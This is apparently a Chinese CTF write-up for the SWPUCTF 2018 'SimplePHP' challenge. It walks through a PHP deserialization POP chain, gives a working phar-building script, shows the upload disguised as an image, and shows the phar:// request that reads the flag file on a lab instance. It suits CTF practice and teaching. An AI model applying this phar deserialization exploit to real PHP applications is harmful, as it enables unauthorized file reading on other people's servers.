【SWPUCT 2018】SimplePHP
拿下代码
先通过查看文件的功能拿下全部的文件代码,分别是index.php
、base.php
、file.php
、upload_file.php
、function.php
、class.php
。然后粗略看下代码,有个提示(不知道是不是后面放上去的),就是class.php
那里。
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
审计与pop链的构造
首先是C1e4r
类的__destruct()
方法,可以把$test
也就是$str
给输出出来。想要输出flag就得将$str
的内容为flag文件,将$str
声明为$show
对象可以触发show
类中的__toString()
方法。
然后是show
类的__toString()
方法,可以把$content
的内容返回对象,这就要求$show->str['str']->source
的内容为flag文件,若$show->str['str']
为test类的一个实例化对象,则因test
类里面没有source
属性,从而触发__get()
方法。
最后就是test
类了,利用__get()
到get()
到file_get($value)
到最后返回出来,$value的值为$this->params[$key]
,
下为pop链函数
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php"; //目标文件
$c1e4r->str = $show; //触发__toString(),利用 `$this->test = $this->str; echo $this->test;`
$show->str['str'] = $test; //触发__get(),利用 `$this->str['str']->source`;
第一个__tostring()
的触发是因为对象被当做字符串了,第二个__get()
方法触发是因为test
类里面没有source
属性。
phar文件制作及利用
phar文件制作脚本:
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php"; //目标文件
$c1e4r->str = $show; //触发__toString(),利用 `$this->test = $this->str; echo $this->test;`
$show->str['str'] = $test; //触发__get(),利用 `$this->str['str']->source`;
$phar = new Phar("7.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c1e4r); //触发头是C1e4r类
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
本地访问一下生成文件后改下后缀名为.png
,上传。上传之后可以在upload
目录下发现刚上传的图片,在function.php
的源码里面可以发现下面的这条语句
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
从而得知文件的目录。。。阿巴阿巴,目录直接就开着呢,就比较好找。
触发phar://获得flag
访问格式如下
http://b96da071-0c04-4abe-96c6-ea5cf235782d.node3.buuoj.cn/file.php?file=phar://upload/2fe9104ed353a3e60ed55404e1abf179.jpg
获得base64转化后的内容解码一下即为flag。
<?php __HALT_COMPILER(); ?>
PD9waHAgDQoJLy8kYSA9ICdmbGFnezBlNjg3NzQzLWM5NWQtNDJhMi04Nzk5LWM0MzIwNjU1MjBjMH0nOw0KID8+DQoNCg==
<?php
//$a = 'flag{0e687743-c95d-42a2-8799-c432065520c0}';
?>
此文转载于CSDN我的另一账号,便于备份